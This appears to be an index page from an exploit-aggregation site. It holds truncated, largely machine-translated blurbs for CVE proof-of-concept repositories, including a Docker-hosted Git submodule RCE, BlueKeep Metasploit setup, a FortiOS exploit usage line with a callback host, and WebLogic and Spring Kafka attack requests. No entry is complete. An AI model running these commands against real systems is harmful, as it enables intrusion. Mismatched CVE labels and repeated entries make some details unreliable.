CVE-2023-5044

CVE-2023-5044 Iniezione di codice tramite l'annotazione nginx.ingress.kubernetes.io/permanent-redirect Innanzitutto, devi distribuire Pod e Service: root@kitploit: kind: Pod apiVersion: v1 metadata: name: apple-app labels: app: apple spec: containers: - name: apple-app image: hashicorp/http-echo...

CVE-2020-27955

CVE-2020-27955 धन्यवाद https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3...

CVE-2018-11235-Git-Submodule-CE

CVE-2018-11235-Git-Submodule-CE CVE-2018-11235-Git PoC Pull da Docker docker pull qweraqq/cve-2018-11235-git-submodule-rce Avvia il server HTTP Git docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce PoC git clone --recurse-submodules http://git.gitserver/malicious.git...

CVE-2019-18935-exploit-study

CVE-2019-18935-exploit-study Estudo aprofundado do CVE-2019-18935 que afeta o Telerik UI para ASP.NET AJAX. Abrange a vulnerabilidade de desserialização .NET, o manipulador RadAsyncUpload, cadeias de gadgets, exploração de assemblies em modo misto e estratégias de mitigação...

Cobra

Cobra Il design di questo progetto non è più in grado di soddisfare i requisiti attuali di scansione white-box, non è più mantenuto ed è utilizzabile solo a scopo di ricerca: non utilizzarlo in ambienti di produzione. Introduzione Cobra è uno strumento di audit di sicurezza del codice sorgente , ...

CVE-2026-6876 Sandbox Escape in Now Platform

ServiceNow has remediated a sandbox escape security issue that was identified in the Now Platform. This security issue could allow an unauthenticated user to execute arbitrary code within the Now Platform, potentially leading to more access to the Now Platform than intended. ServiceNow deployed a...

EUVD-2026-67218

ServiceNow has remediated a sandbox escape security issue that was identified in the Now Platform. This security issue could allow an unauthenticated user to execute arbitrary code within the Now Platform, potentially leading to more access to the Now Platform than intended. ServiceNow deployed a...

CVE-2026-6876

CVE-2026-6876 is a sandbox escape vulnerability in the ServiceNow Now Platform that allows an unauthenticated user to execute arbitrary code, potentially granting broader access to the platform than intended. The vulnerability is rated CVSS 4.0 8.7 (HIGH) with a network attack vector, low complex...

CVE-2019-0708-EXP-MSF-

CVE-2019-0708-EXP-MSF- CVE-2019-0708-EXPMSF Programma di exploit per la vulnerabilità cve-2019-0708 Richiede una versione di msf 5.0.4 o superiore root@kitploit: mkdir -p /usr/share/metasploit-framework/modules/exploit/windows/rdp/ mkdir -p...

CVE-2023-25610

CVE-2023-25610 Dépassement de mémoire en tas dans l'interface d'administration de FortiOS conduisant à une exécution de code à distance. Portée et limitations 1. Fortinet 6.x 2. Basé sur TLSv1.3, peut différer sur d'autres versions de TLS Utilisation python3 cve-2022-42475.py rhost rport lhost...

s2-062

s2-062 POC di verifica per l'esecuzione remota di codice S2-062 CVE-2021-31805 Modalità di verifica Problemi con il campo di tiro vulfocus Il POC verifica il campo di tiro s2-061, con parametro id; il nuovo campo di tiro ha parametro name La decisione di usare id è principalmente perché non si...

CVE-2023-34040

CVE-2023-34040 Esecuzione di Codice Remoto tramite Deserializzazione in Spring Kafka root@kitploit: POST /messages/send HTTP/1.1 Host: 127.0.0.1:8899 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10157 AppleWebKit/537.36 KHTML, like Gecko...

CVE-2019-2618

PoC root@kitploit: POST /beawlsdeploymentinternal/DeploymentService HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 X11; Ubuntu; Linux i686; rv:20.0 Gecko/20100101 Firefox/20.0 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: keep-alive username: weblogic password: weblogic...

CVE-2016-3238-PoC

CVE-2016-3238-PoC Whitepaper für CVE-2016-3238/MS16-087 Proof of Concept. CVE-2016-3238 ermöglicht es Man-in-the-Middle-Angreifern, beliebigen Code auszuführen, indem während der Druckerinstallation ein manipulierte Druckertreiber bereitgestellt wird. Diese Sicherheitslücke wird auch als „Windows...

react2shell-lab

Laboratorio di Vulnerabilità React2Shell Questa è un'applicazione Next.js deliberatamente vulnerabile per testare CVE-2025-55182 e CVE-2025-66478 RCE nei React Server Components. ⚠️ AVVERTENZA : Questa applicazione è intenzionalmente vulnerabile. Utilizzare solo in ambienti di laboratorio isolati...

SpringBreaker

SpringBreaker Exploit PoC per la vulnerabilità RCE di Spring CVE-2011-2894...

Online-Admission-System-RCE-PoC

इस रिपॉजिटरी में README नहीं है।...

iOS-Kernel-Crash

CVE-2018-4407 Corruzione della memoria La vulnerabilità è un heap buffer overflow nel codice di rete del kernel del sistema operativo XNU. XNU è utilizzato sia da iOS che da macOS, ed è per questo che iPhone, iPad e Macbooks sono tutti interessati. Il mio exploit PoC sovrascrive semplicemente...

Larascript

root@kitploit: | | | | | | / || '| / |/ | / || '|| || ' \ | | | | | | || | | | |\ | | | | || | || | || ,||| ,||/ ||| ||| ./ | || Autori: @pwnedshell & @rsgbengi 📌 Cos'è Larascript? Larascript è uno script che sfrutta CVE-2018-15133 e può eseguire comandi remoti se un'app Laravel vulnerabile è...

CVE-2004-2271-MiniShare-1.4.1-BOF

CVE-2004-2271 - MiniShare 1.4.1 - BOF Riferimenti https://nvd.nist.gov/vuln/detail/CVE-2004-2271 Vulnerabilità MiniShare 1.4.1 non esegue alcun controllo dei limiti sulle richieste HTTP GET che riceve. Inviando una richiesta HTTP GET lunga e malformata, un attaccante può provocare un buffer...